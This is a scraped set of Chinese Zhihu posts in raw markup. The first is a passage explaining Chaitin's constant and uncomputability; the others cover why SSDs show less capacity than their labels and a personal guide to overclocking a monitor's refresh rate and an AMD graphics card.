real，那么我们可以用上面类似的办法从数轴两边同时逼近它，从而求出它的任何一位来。但可惜的是，用上面的方法只能从左边去逼近 &img src=&//www.zhihu.com/equation?tex=X& alt=&X& eeimg=&1&& ，我们没法办法去逼近 &img src=&//www.zhihu.com/equation?tex=X& alt=&X& eeimg=&1&& 的上界。&/p&&p&&br&&/p&&p&&b&&i&如果你跳过了上述证明，你可以从这里开始看起：&/i&&/b&&/p&&p&另外一个值得注意的点是，&img src=&//www.zhihu.com/equation?tex=X& alt=&X& eeimg=&1&&的取值是取决于我们对停机问题的排序的，例如我们可以把哥德巴赫猜想程序排在第2个位置，也可以排在第1000个位置。不同的排序对应了不同的&img src=&//www.zhihu.com/equation?tex=X& alt=&X& eeimg=&1&&。所以准确的说&img src=&//www.zhihu.com/equation?tex=X& alt=&X& eeimg=&1&&是一类数，只有当排序确定后，&img src=&//www.zhihu.com/equation?tex=X& alt=&X& eeimg=&1&&才成为一个确定的数。而由于排序方法有无数种，所以从这里也可以看出，不可计算的数也有无穷多。&/p&&p&&br&&/p&&p&不过，虽然&img src=&//www.zhihu.com/equation?tex=X& alt=&X& eeimg=&1&&整体不可计算，但是其中的某些位还是可以确定的，例如，假设其第1位对应的问题是是否存在一个完全平方数，那么显然经过简单计算即可知道这一位的取值是1。而蔡廷常数就不一样了，存在一些蔡廷常数，不仅其整体不能被计算，其任何一位都不能确定。其原因在于，&img src=&//www.zhihu.com/equation?tex=X& alt=&X& eeimg=&1&&的前n位储存了n个停机问题的解，而蔡廷常数的前n位储存了大约为 &img src=&//www.zhihu.com/equation?tex=2%5En& alt=&2^n& eeimg=&1&& 个停机问题的解，其任何一位数字的确定都依赖于多个停机问题的解的共同作用，而用某些巧妙的方法，可以构造出这样的蔡廷常数（还记得之前说过&img src=&//www.zhihu.com/equation?tex=X& alt=&X& eeimg=&1&&的值依赖于对停机问题具体的排序吗），使得其每一位对应的停机问题中，至少有一个停机问题对应的问题是既无法被证明又无法被证伪的。&/p&&p&因此存在很多蔡廷常数，其每一位的值我们都不能确定！&/p&&p&关于这个巧妙构造的方法，因为过于复杂，在此不展开讨论，只是说下为什么蔡廷常数能做到前n位储存大约&img src=&//www.zhihu.com/equation?tex=2%5En& alt=&2^n& eeimg=&1&& 个停机问题的解。因为蔡廷常数本身的定义比较复杂，涉及到树的概念（数学上的树，是一个数据结构，和生活中的数不同），所以在此先不作讨论，而给出我自己定义的一个yo常数，但是道理是类似的。&/p&&p&我们的yo常数是基于之前讨论的 &img src=&//www.zhihu.com/equation?tex=X& alt=&X& eeimg=&1&& 来定义的，我们的目标是把信息量压缩到&img src=&//www.zhihu.com/equation?tex=X& alt=&X& eeimg=&1&&的 &img src=&//www.zhihu.com/equation?tex=%5Cfrac%7B6%7D%7B63%7D& alt=&\frac{6}{63}& eeimg=&1&& ，即用6位数字来储存63个停机问题的解。对于每63个停机问题，我们将其化为一组，前63个问题对应了yo常数的前6位，64到126个问题对应的是yo常数的第7到12位，以此类推。&/p&&p&对于每组数字的值我们这么定义：其对应的63个停机问题中，假设有x个问题是可以停机的，则该组数字对应的值等于x。显然 &img src=&//www.zhihu.com/equation?tex=0+%5Cleq+x+%5Cleq+63& alt=&0 \leq x \leq 63& eeimg=&1&& 。而0到63 在二进制下是可以用6位数字来编码的。所以x最大等于二进制下的111111&/p&&p&显然，可以用同&img src=&//www.zhihu.com/equation?tex=X& alt=&X& eeimg=&1&&类似的方法证明yo常数也是一个良定义的实数。下面要说明的是为什么yo常数是不可计算的。我们通过证明yo常数可以解决所有停机问题来反证：&/p&&p&假设我们知道yo常数的值，那么对于任意一个停机问题，我们首先找到它对应的那一组数的位置，假设该数为 &img src=&//www.zhihu.com/equation?tex=x& alt=&x& eeimg=&1&& ，则表示其对应的63个停机问题中有 &img src=&//www.zhihu.com/equation?tex=x& alt=&x& eeimg=&1&& 个是可以停机。于是我们同时运行这64个程序，直到出现 &img src=&//www.zhihu.com/equation?tex=x& alt=&x& eeimg=&1&& 个停机的程序，此时我们看我们要求的停机问题在不在这 &img src=&//www.zhihu.com/equation?tex=x& alt=&x& eeimg=&1&& 个程序里面即可。&/p&&p&证毕。&/p&&p&&br&&/p&&p&当然，蔡廷常数比我这个yo常数更厉害，因为它对信息的压缩率要高的多的多。讲了这么久，终于可以正式的引出我们今天的主角了。但在此之前要说明的是，其实接下来的内容不用看你也已经大致了解蔡廷常数大概是什么东西了，下面的说明无非是些具体的细节问题，不是那么重要。但是，即使有了上面那么长的铺垫，这些细节依然理解起来很有难度，所以如果你没有计算机或者数学本科背景的话，恭喜你，你已经阅读完了本篇回答了（真诚脸，相信我）。&/p&&p&&br&&/p&&p&后记：&/p&&p&本来只是想抖个机灵，但是看到评论区对蔡廷常数很感兴趣，因此写下了这个补充说明，开始写的时候旁边的人还在看世界杯，写完发现天已经亮了。我统计了下，这个回答总共7600字，相当于一篇论文了。讲道理除了之前的一篇介绍福特定理的回答外，我在知乎上再没有这么长的文章了，但我也深知，即使写了这么多，由于蔡廷常数涉及的前置知识确实比较难，以及我自己的文笔和水平有限，因此这样的介绍对于缺少背景知识的人来说只能是走马观花，在此表示道歉。&/p&&p&但尽管知道如此，我依然写出来了，因为我觉得这世上应该会有不少人和当年的我一样，对人类的认知感兴趣吧。如果你认真阅读后依然有疑惑，可以在评论区提问，我会尽量解答的。&/p&&p&如果你对可计算理论感兴趣，想进一步了解，但是又不是专业人士，我在此推荐一本书，叫做《哥德尔、艾舍尔、巴赫——集异璧之大成》，这本书是从科普、艺术和哲学的角度来深入浅出的讲可计算理论的，里面会从芝诺悖论开始，一步一步的带领读者走向“无穷”这个普通人最难理解的概念。但由于是科普书，我看了头几章觉得太过于科普所以没看下去，但是我的印象是，作者要实现的目标是，对于一般人来说，里面所有的内容都是虽然很烧脑但是几乎没有前置知识只要用力就肯定可以看下去的。&/p&&p&后记完&/p&&p&。&/p&&p&。&/p&&p&。&/p&&p&。&/p&&p&。&/p&&p&&b&蔡廷常数&/b&&/p&&p&首先根据蔡廷常数的定义可知，其数值是和语言相关的。例如c语言对应了一个蔡廷常数，java又对应了一个蔡廷常数。严格来说，蔡廷常数定义在一个图灵完备的语言上，且要求该语言不存在一个语句是另一个语句的前缀。设该语言的集合为 &img src=&//www.zhihu.com/equation?tex=P_%7BF%7D& alt=&P_{F}& eeimg=&1&& ，则蔡廷常数的定义如下：&/p&&figure&&img src=&https://pic2.zhimg.com/50/v2-69b70c47fa4118b60dbfefed95c00769_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&137& data-rawheight=&53& class=&content_image& width=&137&&&/figure&&p&其中 &img src=&//www.zhihu.com/equation?tex=%7CP%7C& alt=&|P|& eeimg=&1&& 表示语句P的长度。可以证明该求和收敛，且大于0小于1.&/p&&p&由上述定义可知，蔡廷常数的前几位并不比后几位更加重要，所以说，只知道小数点后1到10位的值，和只知道小数点后第位的值，没有什么差别。所以对于蔡廷常数来说，讨论近似值是没有意义的&/p&&p&蔡廷常数精确定义了一个实数这一点的证明方法和上文相同，在此不赘述。只特别说明一点，虽然乍一看这个求和得到的值可能大于1，但是要注意到定义里有一个前提条件，即不存在一个语句是另一个语句的前缀，根据&a href=&//link.zhihu.com/?target=https%3A//en.wikipedia.org/wiki/Kraft%25E2%McMillan_inequality& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Kraft-McMillan inequality&/a&，可证在这个前提下上述求和得到值不会超过1。&/p&&p&下面说明为什么蔡廷常数是不可计算的。同样此处用其可解决通用停机问题来反证，由于这个证明比较抽象，所以这里只给出简要说明：&/p&&p&假如我们需要求解某个程序能否停止，例如上文提到的哥德巴赫猜想程序，假设该程序长度为L。再假设我们求出了蔡廷常数为C。则我们可以用如下算法求得哥德巴赫猜想程序能否停止：&/p&&p&首先初始时令S等于一个空集，令实数 &img src=&//www.zhihu.com/equation?tex=C%27& alt=&C'& eeimg=&1&& 等于0。&/p&&p&从第1步开始，每一步执行如下操作：&/p&&p&
对于第i步，首先我们将所有长度小于等于i的程序加入集合S。然后对于S中的每一个尚未终止的程序都运行K步（K可为任意正整数）。在这个过程中，可能会有一些之前尚未终止的程序在这一步终止，对于每一个这样的程序，假设其长度为|p|，则令&img src=&//www.zhihu.com/equation?tex=C%27%3DC%27%2B2%5E%7B-%7Cp%7C%7D& alt=&C'=C'+2^{-|p|}& eeimg=&1&&&/p&&p&随着上述步骤的不断执行，一定会在有限步内出现如下两种情况之一：&/p&&p&情况1：我们要求解的哥德巴赫猜想程序在第L步被加入了集合S，并在之后的某一步终止。由此可知，该程序会终止，哥德巴赫猜想错误&/p&&p&情况2：哥德巴赫猜想程序一直没有终止，但是&img src=&//www.zhihu.com/equation?tex=C%27& alt=&C'& eeimg=&1&&不断增大，直到在某一时刻&img src=&//www.zhihu.com/equation?tex=C%27%2B2%5E%7B-%7CL%7C%7D%3EC& alt=&C'+2^{-|L|}&C& eeimg=&1&&&/p&&p&，由蔡廷常数的定义可知&img src=&//www.zhihu.com/equation?tex=C%27& alt=&C'& eeimg=&1&&是不可能大于C的，因此哥德巴赫猜想程序一定不会终止，哥德巴赫猜想由此得证&/p&&p&有上述算法可知，如果求出蔡廷常数，则可以求解停机问题，但停机问题又是不可解的，由此推出了矛盾。&/p&
\pi 还是太naive了。我要是宇宙设计者，我就把信息藏在蔡廷常数里，这才是对人类最大的嘲讽。蔡廷常数，其含义是找随机生成一段程序，这段程序不会陷入死循环的概率。可以证明这是一个确定存在的无理数，但是同样可以证明它是不可以被计算出来的。实际上，…
&figure&&img src=&https://pic4.zhimg.com/v2-cf348b4d7fdc36f5ec5ddc2ec2ad48c2_b.jpg& data-rawwidth=&1244& data-rawheight=&829& class=&origin_image zh-lightbox-thumb& width=&1244& data-original=&https://pic4.zhimg.com/v2-cf348b4d7fdc36f5ec5ddc2ec2ad48c2_r.jpg&&&/figure&&p&前文介绍了硬盘标称容量的秘密：&/p&&a href=&https://zhuanlan.zhihu.com/p/& data-draft-node=&block& data-draft-type=&link-card& data-image=&https://pic2.zhimg.com/v2-297b9a247cdcfebd054c2f4c9b35b101_180x120.jpg& data-image-width=&620& data-image-height=&349& class=&internal&&老狼：128G的固态硬盘为什么有的标120G，有的标100G？固态硬盘容量背后的秘密&/a&&p&有同学反应没搞懂。是啊，GiB和GB比较绕口，在不同的场合，意思大相径庭。就拿我的SSD来说，标称512GB，为啥在Windows下看只有476GB：&/p&&figure&&img src=&https://pic1.zhimg.com/v2-96be5fbc_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&511& data-rawheight=&585& class=&origin_image zh-lightbox-thumb& width=&511& data-original=&https://pic1.zhimg.com/v2-96be5fbc_r.jpg&&&/figure&&p&512GB-476GB=36GB。我的36GB去哪了？SSD现在这么贵，我是不是被厂家骗了？这些xxGB到底是GiB还是硬盘厂家嘴里的&GB&呢？&/p&&p&今天我们就结合我的笔记本中两个固态硬盘来实际了解一下实际生活中的例子。&/p&&h2&&b&出场人物&/b&&/h2&&p&我的笔记本中有两块固态硬盘：&/p&&p&&b&Intel X25-M 160G SSD&/b&&/p&&p&笔记本自带的SSD, SATA III接口，160G的标称容量：&/p&&figure&&img src=&https://pic3.zhimg.com/v2-daf66d3f9438dc5cda56601deee404e5_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&590& data-rawheight=&414& class=&origin_image zh-lightbox-thumb& width=&590& data-original=&https://pic3.zhimg.com/v2-daf66d3f9438dc5cda56601deee404e5_r.jpg&&&/figure&&p&&b&创见(Transcend)MTS400 512G M.2 SSD&/b&&/p&&p&C盘容量告急后买的大容量M.2接口SSD:&/p&&figure&&img src=&https://pic4.zhimg.com/v2-81fabd7ac7_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&646& data-rawheight=&574& class=&origin_image zh-lightbox-thumb& width=&646& data-original=&https://pic4.zhimg.com/v2-81fabd7ac7_r.jpg&&&/figure&&h2&&b&512GB硬盘&/b&&/h2&&p&先说第二个硬盘，在笔记本原装的160GB硬盘空余容量不足50%后，对SSD比较了解的我为了避免C盘效能下降，购置了这个512GB标称容量的创见M.2 SSD（注意这款不支持NvME）。在Windows下，它是E盘，看容量是476GB：&/p&&figure&&img src=&https://pic1.zhimg.com/v2-96be5fbc_b.jpg& data-size=&normal& data-rawwidth=&511& data-rawheight=&585& class=&origin_image zh-lightbox-thumb& width=&511& data-original=&https://pic1.zhimg.com/v2-96be5fbc_r.jpg&&&figcaption&卷标取名”newland“是容量新大陆的意思（英语不好，你打我啊，逃）。&/figcaption&&/figure&&p&为什么是476GB呢，不是说好的512GB吗？细心的同学也许发现了476GB前面的秘密：&/p&&figure&&img src=&https://pic4.zhimg.com/v2-e7a9b2d12da3c0be1f1b5ad8d051f423_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&485& data-rawheight=&54& class=&origin_image zh-lightbox-thumb& width=&485& data-original=&https://pic4.zhimg.com/v2-e7a9b2d12da3c0be1f1b5ad8d051f423_r.jpg&&&/figure&&p&这个511,974,567,936怎么这么眼熟啊！对了这就是传说中的512GB，而512GB-476GB/476GB就等于7.37%！&/p&&p&原来Windows并不理会硬盘厂商嘴里的神秘&GB&，为了运算方便起见，这里的GB都是二进制的GB，也就是gibibyte，即硬盘厂家的GiB。&/p&&p&结合我们上文，实际上，整个故事是这样的。创见这款SSD是由8块64GiB的闪存颗粒组成，合512GiB，硬盘厂商安装传统&习惯&，标称512&b&GB&/b&，这样就可以偷偷留有7.37%的容量做OP，实际容量变成了476.81GiB。.到了Windows里面，微软才不管那个。直接二进制算出476.81GiB，省掉小数点加上并不关心硬盘厂商的感情，直接写成476GB了事。&/p&&p&从这里看出硬盘厂家并没有欺骗，只是”习惯称呼“不同而已。另外可以看出这款SSD的OP空间只有最基本的7.37%，并不是很大。看起来我的硬盘空间又不足了！&/p&&p&事实看来很清楚了，我们在另一块硬盘上验证一下对不对。&/p&&h2&&b&160GB硬盘&/b&&/h2&&p&我的C盘安装的操作系统：&/p&&figure&&img src=&https://pic2.zhimg.com/v2-86dd630aca28ed38bf0033_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&537& data-rawheight=&683& class=&origin_image zh-lightbox-thumb& width=&537& data-original=&https://pic2.zhimg.com/v2-86dd630aca28ed38bf0033_r.jpg&&&/figure&&p&我们来算一下：（160GB-148GB）/ 148GB = 0.081。怎么不对了呢? 160GB如果是十进制GB，换成GiB应该是160GB/1.GiB啊，怎么还有1GiB消失了呢？什么，马马虎虎算了？苍蝇也是肉，SSD现在很贵的好不好！&/p&&p&其实我们来看一下分区情况就知道原因了：&/p&&figure&&img src=&https://pic4.zhimg.com/v2-1b2c9e305ed_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1422& data-rawheight=&288& class=&origin_image zh-lightbox-thumb& width=&1422& data-original=&https://pic4.zhimg.com/v2-1b2c9e305ed_r.jpg&&&/figure&&p&原来同一个硬盘还有两个分区被隐藏了，一个是UEFI启动分区，另一个是恢复分区。148.93GiB * 1.GB，加上分区表之类的损耗，这下应该没问题了。&/p&&h2&&b&结论&/b&&/h2&&p&硬盘的容量，在不同的情况下GB代表不同的意思，这点确实比较扭曲，怪不得很多人搞不懂，连我这种业内人士有时候都要想一想才能厘清出头绪。大家只要记住微软的GB就是硬盘厂家的GiB，都是二进制的Gigabyte就够了。&/p&&p&和这篇相关的文章还有：&/p&&a href=&https://zhuanlan.zhihu.com/p/& data-draft-node=&block& data-draft-type=&link-card& data-image=&https://pic4.zhimg.com/v2-e7a4e967fe9f38aca198e7_180x120.jpg& data-image-width=&500& data-image-height=&329& class=&internal&&老狼：神秘消失的内存去哪了？&/a&&p&&b&其他闪存相关文章：&/b&&/p&&a href=&https://zhuanlan.zhihu.com/p/& data-draft-node=&block& data-draft-type=&link-card& data-image=&https://pic1.zhimg.com/v2-86ba820bee0228dff3f7ac8_180x120.jpg& data-image-width=&640& data-image-height=&485& class=&internal&&老狼：杂说闪存一：关公战秦琼之 UFS VS NVMe&/a&&a href=&https://zhuanlan.zhihu.com/p/& data-draft-node=&block& data-draft-type=&link-card& data-image=&https://pic3.zhimg.com/v2-cf0e0c86c4e0baefaffd22_180x120.jpg& data-image-width=&1000& data-image-height=&615& class=&internal&&老狼：杂谈闪存二：NOR和NAND Flash&/a&&a href=&https://zhuanlan.zhihu.com/p/& data-draft-node=&block& data-draft-type=&link-card& data-image=&https://pic3.zhimg.com/v2-bb59ebbc16cf1ae15d4a7f4ff54dbba2_180x120.jpg& data-image-width=&500& data-image-height=&306& class=&internal&&老狼：杂谈闪存三：FTL&/a&&a href=&https://zhuanlan.zhihu.com/p/& data-draft-node=&block& data-draft-type=&link-card& data-image=&https://pic2.zhimg.com/v2-b7a111eceeabx120.jpg& data-image-width=&479& data-image-height=&399& class=&internal&&老狼：杂说闪存四：闪存硬盘接口大比拼&/a&&a href=&https://zhuanlan.zhihu.com/p/& data-draft-node=&block& data-draft-type=&link-card& data-image=&https://pic4.zhimg.com/v2-acb97dafb_180x120.jpg& data-image-width=&650& data-image-height=&300& class=&internal&&老狼：杂说闪存番外：SSD硬盘如何进行日常维护和Trim&/a&&a href=&https://zhuanlan.zhihu.com/p/& data-draft-node=&block& data-draft-type=&link-card& data-image=&https://pic3.zhimg.com/v2-5adece589a575d27d35462_ipico.jpg& data-image-width=&678& data-image-height=&584& class=&internal&&老狼：杂说闪存番外：傲腾Optane与NAND闪存&/a&&a href=&https://zhuanlan.zhihu.com/p/& data-draft-node=&block& data-draft-type=&link-card& data-image=&https://pic4.zhimg.com/v2-5b84f334b17dbcd889ce053_180x120.jpg& data-image-width=&750& data-image-height=&231& class=&internal&&老狼：杂说闪存番外：我们的数据存在固态硬盘上安全吗？&/a&&a href=&https://zhuanlan.zhihu.com/p/& data-draft-node=&block& data-draft-type=&link-card& data-image=&https://pic4.zhimg.com/v2-cc296bfcafa3_180x120.jpg& data-image-width=&587& data-image-height=&393& class=&internal&&老狼：杂说闪存番外：手机为什么越用越卡和闪存写放大&/a&&a href=&https://zhuanlan.zhihu.com/p/& data-draft-node=&block& data-draft-type=&link-card& data-image=&https://pic2.zhimg.com/v2-297b9a247cdcfebd054c2f4c9b35b101_180x120.jpg& data-image-width=&620& data-image-height=&349& class=&internal&&老狼：128G的固态硬盘为什么有的标120G，有的标100G？固态硬盘容量背后的秘密&/a&&p&&b&硬盘相关文章：&/b&&/p&&a href=&https://zhuanlan.zhihu.com/p/& data-draft-node=&block& data-draft-type=&link-card& data-image=&https://pic4.zhimg.com/v2-78cc3d5138abf240a53cbc_180x120.jpg& data-image-width=&670& data-image-height=&335& class=&internal&&老狼：硬盘忽然掉电会损坏硬盘和数据吗？&/a&&a href=&https://zhuanlan.zhihu.com/p/& data-draft-node=&block& data-draft-type=&link-card& data-image=&https://pic3.zhimg.com/v2-f5c2344b3fcc3c1b.jpg& data-image-width=&3872& data-image-height=&2592& class=&internal&&老狼：机械硬盘里面是真空吗？&/a&&p&欢迎大家关注本专栏和用微信扫描下方二维码加入微信公众号&UEFIBlog&，在那里有最新的文章。同时欢迎大家给本专栏和公众号投稿！&/p&&figure&&img src=&https://pic2.zhimg.com/v2-121ecd3d4080deb1c557bf47dc00d246_b.jpg& data-size=&normal& data-rawwidth=&511& data-rawheight=&368& class=&origin_image zh-lightbox-thumb& width=&511& data-original=&https://pic2.zhimg.com/v2-121ecd3d4080deb1c557bf47dc00d246_r.jpg&&&figcaption&用微信扫描二维码加入UEFIBlog公众号&/figcaption&&/figure&&p&&/p&
前文介绍了硬盘标称容量的秘密：有同学反应没搞懂。是啊，GiB和GB比较绕口，在不同的场合，意思大相径庭。就拿我的SSD来说，标称512GB，为啥在Windows下看只有476GB：512GB-476GB…
&figure&&img src=&https://pic4.zhimg.com/v2-053ccc051a59ff7aef9ac96a9f970b6c_b.jpg& data-rawwidth=&1920& data-rawheight=&1080& class=&origin_image zh-lightbox-thumb& width=&1920& data-original=&https://pic4.zhimg.com/v2-053ccc051a59ff7aef9ac96a9f970b6c_r.jpg&&&/figure&&p&时常在硬件论坛遇到这样的问题：&/p&&p&“求助，新换GTX10XX，但是LOL只能跑到水泉200帧，团战100多帧，请问如何提升到稳定200帧？”&/p&&p&实话说，这种问题对于大多只有网游需求，又不太研究硬件的同学来说，可以说几乎是日经贴了。&/p&&p&那么200帧的LOL到底有没有意义呢？&/p&&p&能跑到200帧，说明你的显卡性能已经可以HOLD住大多数主流网游了，但问题是，我们大多数人的显示器只有60Hz的刷新率，也就是每秒更新60次图像，在帧生成时间比较稳定的前提下，可以说100帧和200帧在视觉的体验是一样的。&/p&&p&有同学要问了，为什么大多数电影的帧率是24，感觉不到任何卡顿，而我的游戏30-40帧每秒却经常卡成PPT呢？&/p&&p&这个问题我在之前的文章中有过讨论，&a href=&https://zhuanlan.zhihu.com/p/& class=&internal&&我们真的需要“电竞屏”吗？&/a&，简而言之，电影的每帧可以理解成是非常小一段时间的浓缩，而游戏中的每帧就是一个瞬间的静态画面。如果你的电脑性能跟得上，可以尝试打开动态模糊，这样就会有一定的观感提升，相同帧率下，是不是感觉流畅了一些呢？&/p&&p&200Fps的显卡输出+60Hz的屏幕，可能大多数同学觉得十分浪费，那有没有方法解决呢？&/p&&p&一般来说有两个方案，第一是将显卡输出和屏幕同步（打开垂直同步），或者购买支持G-sync或者Free-sync的高刷新率显示屏。&/p&&p&当然，对于喜欢搞机动手，同时又被贫穷限制了想象力的答主，怎么会那么轻易地氪金呢？（好吧其实还是穷）于是我们推出了今天的禁忌の术：&/p&&p&显示器超频。&/p&&p&懂的同学先不要说答主火星，对于大多数人来说，CPU和显卡超频可能知道，再冷门点可以超内存，显示器超频的真不多。&/p&&p&其实对于大多数显示器来说，60Hz超到70-75Hz还是没太大问题的。据说出厂检测的时候，显示器是被要求在更高的频率下稳定运行的，所以不用太担心电脑BOOM。&/p&&p&这里以AMD显卡为例讲一下显示器超频。&/p&&p&首先先看看在哪看自己显示器的刷新率：&/p&&p&Win10操作系统，在桌面右键呼出菜单，点击显示设置，打开显示适配器属性。&/p&&p&监视器。&/p&&figure&&img data-rawheight=&534& src=&https://pic4.zhimg.com/v2-ce61ed2bd88cd95e643ee_b.jpg& data-size=&normal& data-rawwidth=&468& class=&origin_image zh-lightbox-thumb& width=&468& data-original=&https://pic4.zhimg.com/v2-ce61ed2bd88cd95e643ee_r.jpg&&&/figure&&p&在这里看到屏幕刷新率是70Hz，这里答主已经超频过了，如果你的显示器原生支持75Hz，可以直接勾选，也可以考虑往80+超一超。&/p&&p&屏幕超频我们需要一个小工具：&/p&&p&这里直接引用贴吧里的教程：&/p&&a href=&https://link.zhihu.com/?target=http%3A//tieba.baidu.com/p/%3Fred_tag%3Dw& data-draft-node=&block& data-draft-type=&link-card& data-image=&https://pic2.zhimg.com/v2-dc0fda678f1be557f10d_ipico.jpg& data-image-width=&484& data-image-height=&433& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&【图片】显示器刷新率超频教程_显示器吧_百度贴吧&/a&&blockquote&众所周知，我们大多数的显示刷新率都是60hz，但是通过软件简单设定可以自定义刷新率，当然本帖的重点是超频，更高刷新率意味着的意味着更好的游戏视觉体验。 首先我们需要下载 Custom Resolution Utinity 1.2 以下是网盘地址 &a href=&https://link.zhihu.com/?target=http%3A//jump.bdimg.com/safecheck/index%3Furl%3Dx%2BZ5mMbGPAvDeVFDn5esNh3tEqEFWbC4tOatFxkC6cJfUHTy0Zvu/i2QFA%2BQxssX8mhdLD3Im0G7rZjvBhdiMzH8Jo2hDEQQXouSwmjjPkJDr8/stcCLw581tbgiANk7pUV0PArmNIV2Pah4egTNMg%3D%3D& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&http://yun.baidu.com/s/1c02aKNI&/a& 以下是超频步骤 1.打开CRU文件 2.选中你当前的显示器，你当前显示器后面通常带有active字样 &/blockquote&&figure&&img data-rawheight=&433& src=&https://pic1.zhimg.com/v2-91c8bc2af9fce56cef29643beb0f3cb7_b.jpg& data-size=&normal& data-rawwidth=&484& class=&origin_image zh-lightbox-thumb& width=&484& data-original=&https://pic1.zhimg.com/v2-91c8bc2af9fce56cef29643beb0f3cb7_r.jpg&&&/figure&&p&&br&&/p&&p&3.点击detaied resolutions下面的Add选框&/p&&p&4.下拉Timing选到Automatic - LCD standard&/p&&p&&br&&/p&&figure&&img data-rawheight=&420& src=&https://pic1.zhimg.com/v2-c53cdf1d8f3d2811bfe9e336290beb5d_b.jpg& data-size=&normal& data-rawwidth=&389& class=&content_image& width=&389&&&/figure&&p&&br&&/p&&p&5.refresh rate就是你的屏幕刷新率，类似于超频的方法，逐步往上调，如果闲麻烦可以从70HZ起跳。。我的显示器是华硕PA238Q极限在75赫兹。设定完后点OK&/p&&p&6.然后点击文件夹里面的restart, 如果你的系统是64位就点击restart64.exe文件&/p&&p&7.点击桌面右键→屏幕分辨率→高级设置→监视器，把屏幕刷新率拉到最下面，这个分辨率就是你刚才超频设定的分辨率，选中，然后点确定。&/p&&figure&&img data-rawheight=&539& src=&https://pic2.zhimg.com/v2-f8b666fb0_b.jpg& data-size=&normal& data-rawwidth=&481& class=&origin_image zh-lightbox-thumb& width=&481& data-original=&https://pic2.zhimg.com/v2-f8b666fb0_r.jpg&&&/figure&&blockquote&9.进入网址按一下F5刷新网页，然后不要动，等约10秒之后如果出现结果，如果刷新率和你之前设定的一致，那么恭喜你，超频成功！&/blockquote&&figure&&img data-rawheight=&420& src=&https://pic3.zhimg.com/v2-b89c35a1dfb2a522d613c2_b.jpg& data-size=&normal& data-rawwidth=&580& class=&origin_image zh-lightbox-thumb& width=&580& data-original=&https://pic3.zhimg.com/v2-b89c35a1dfb2a522d613c2_r.jpg&&&/figure&&p&&a href=&https://link.zhihu.com/?target=http%3A//jump.bdimg.com/safecheck/index%3Furl%3Dx%2BZ5mMbGPAtrDjhT5WpwV/UMnfKqDLUDmOAUpYcHEp0QGmyG5AHN%2BB5C4GoOAn%2BtYgsgpijYd6GT6VHgSbTh6%2BlUcJWq1X/dmnVaGS/S7MJXHtdK8CQIm62YriO6ozNlQCY%2BVKajm2h5z8Bn4gXBxDA8Zu4mdgY0& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&http://www.testufo.com/frameskipping&/a&&/p&&a href=&https://link.zhihu.com/?target=http%3A//jump.bdimg.com/safecheck/index%3Furl%3Dx%2BZ5mMbGPAvDeVFDn5esNh3tEqEFWbC4tOatFxkC6cJfUHTy0Zvu/i2QFA%2BQxssX8mhdLD3Im0G7rZjvBhdiMzH8Jo2hDEQQXouSwmjjPkJDr8/stcCLw581tbgiANk7pUV0PArmNIV2Pah4egTNMg%3D%3D& data-draft-node=&block& data-draft-type=&link-card& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&cru-1.2.zip_免费高速下载|百度网盘-分享无限制&/a&&p&可以说帖子介绍的是十分详细的，答主按照这个方法试了试70是没有问题的，但是在试75的时候悲剧出现了，直接开机黑屏，显示器显示输入信号与显示器规格不匹配云云。&/p&&p&这他喵的就尴尬了，Bios里面也没调屏幕输出的选项啊，进不了系统就没法调分辨率，调不了分辨率就进不了系统，活生生的winrar.rar。后来查到可以通过主板放点清空Bios的方法抢救下，嫌麻烦直接拔了独显再插上还真给恢复了，于是就只敢超到70Hz了。&/p&&p&在网页上检测的70Hz完全没问题，画面也没撕裂，打开守望先锋，调至“最大帧数与显示器同步”试试。&/p&&p&在主界面，应该是默认最高60的，进入训练靶场，居然可以稳定80，也不知道是什么个情况。&/p&&p&之前都是笔记本上默默中特效玩60帧，动不动显卡85度，既然台机屏幕都超了频了，显卡也超一超吧。&/p&&p&超频工具为微星Afterburner。&/p&&figure&&img data-rawheight=&540& src=&https://pic4.zhimg.com/v2-defe9a786e9c01f84e7aac5_b.jpg& data-size=&normal& data-rawwidth=&784& class=&origin_image zh-lightbox-thumb& width=&784& data-original=&https://pic4.zhimg.com/v2-defe9a786e9c01f84e7aac5_r.jpg&&&/figure&&p&动手之前答主做了做功课，其实这一代R9-380的汤加架构是比较不能超的，但是一般超个10%问题不大，我这块380是收的网吧拆机版蓝宝石超白金，算是做工用料比较好的AMD非公了（为良心网吧老板点个赞），基准频率为1000MHz，显存频率1400MHz。&/p&&p&首先我直接上核心1100，显存1600试一试，Emmm，3Dmark黑屏。也都不行，难道运气这么差吗？&/p&&p&后来发现公版380默频是970MHz，果然降到1085左右是可以通过3Dmark测试的，但是跑古墓丽影崛起的Benchmark时又黑屏了，为了保险起见将频率将至1071，显存1562，顺利通过测试。&/p&&p&3Dmark测试结果就不放了，更新了最新的显卡驱动居然对我说显卡驱动通不过分数审核（捂脸），来点最实在的吧，放个古墓丽影崛起的Benchmark。&/p&&p&说真的还是很惊喜的，不知道是最近几版驱动又打了鸡血还是超频真的有用，这几乎已经可以说是肉眼可见的提升了，之前我对于古墓丽影崛起的最大担心是爆显存，地热山谷茂密的植被确实让2g显存捉襟见肘，不知道是不是超显存让数据读写性能变得更强劲，之前时有时无的微小卡顿已经好了很多。&/p&&figure&&img data-rawheight=&473& src=&https://pic2.zhimg.com/v2-619f945ae1b70876d2feed66fb67334c_b.jpg& data-size=&normal& data-rawwidth=&596& class=&origin_image zh-lightbox-thumb& width=&596& data-original=&https://pic2.zhimg.com/v2-619f945ae1b70876d2feed66fb67334c_r.jpg&&&/figure&&figure&&img data-rawheight=&1080& src=&https://pic2.zhimg.com/v2-720ea3e75142edc1b23946_b.jpg& data-size=&normal& data-rawwidth=&1920& class=&origin_image zh-lightbox-thumb& width=&1920& data-original=&https://pic2.zhimg.com/v2-720ea3e75142edc1b23946_r.jpg&&&figcaption&显卡超频后&/figcaption&&/figure&&figure&&img data-rawheight=&405& src=&https://pic1.zhimg.com/v2-ee1e67e201b4a5ad2b8f_b.jpg& data-size=&normal& data-rawwidth=&720& 